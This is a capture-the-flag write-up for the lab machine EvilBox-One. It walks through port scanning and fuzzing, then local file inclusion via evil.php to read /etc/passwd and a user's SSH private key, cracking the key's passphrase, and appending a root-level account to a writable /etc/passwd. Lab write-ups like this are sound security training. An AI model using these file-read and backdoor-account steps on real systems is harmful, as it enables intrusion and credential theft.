# Proving grounds Play: EvilBox-One

Proving grounds Play - EvilBox-One CTF writeup.

### Nmap

```sh
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### PORT 80 || Web

![img](/files/FHedINMekMVW70qyUGlz)

### Fuzzing

#### Files

![img](/files/ym1vNK19vocWhiz8T8Pk)

#### Directory

![img](/files/76ax8aBZP3dsYDdS5N6Q)

Fuzz for files in `/secrets` directory.

![img](/files/JAWVfwdBNvVz0HWZYR31)

**Found file evil.php**

<http://192.168.152.212/secret/evil.php>

### Fuzz for paramaters

<http://192.168.152.212/secret/evil.php?FUZZ=/etc/passwd>

Trying local file inclusion vulnerability to check the words retieved in the response to confirm the parameter.

![img](/files/9UC2ka1X42vliubeBGVy)

<http://192.168.152.212/secret/evil.php?command=/etc/passwd>

![img](/files/ym0ym3jkLuYcWGwgOAzC)

As shown in the above `/etc/passwd` file we have a user `mowree`.

```sh
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
```

Using the LFI vulnerability we can obtain the SSH key for the user `mowree`.

<http://192.168.152.212/secret/evil.php?command=/home/mowree/.ssh/id\\_rsa>

![img](/files/QQoW46UJfzbPRFRA68KH)

SSH to mowree using the SSH key.

Using id\_rsa key to login to the `mowree` user account is prompted with password to continue. So use `ssh2john` to create hash for the SSH key and crack the same using john.

![img](/files/ZdtGAkYHUqT4ACEQYS4Q)

Extracted password `unicorn`

**Initial Foothold Obtained**

![img](/files/fdfxwFvxOBNWsfqBO0ca)

### Privilege Escalation

Check the permissions for `/etc/passwd`.

/etc/passwd is writable so we can create our own root user.

**Writing new user to /etc/passwd**

```sh
echo "hacker:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> /etc/passwd
```

Switch to user `hacker` and enter password `mypass` to obtain root.

![img](/files/60dugB5r5af4m8iffzb5)

Thanks for reading!

For more updates and insights, follow me on Twitter: [@thevillagehacker](https://twitter.com/thevillagehackr).


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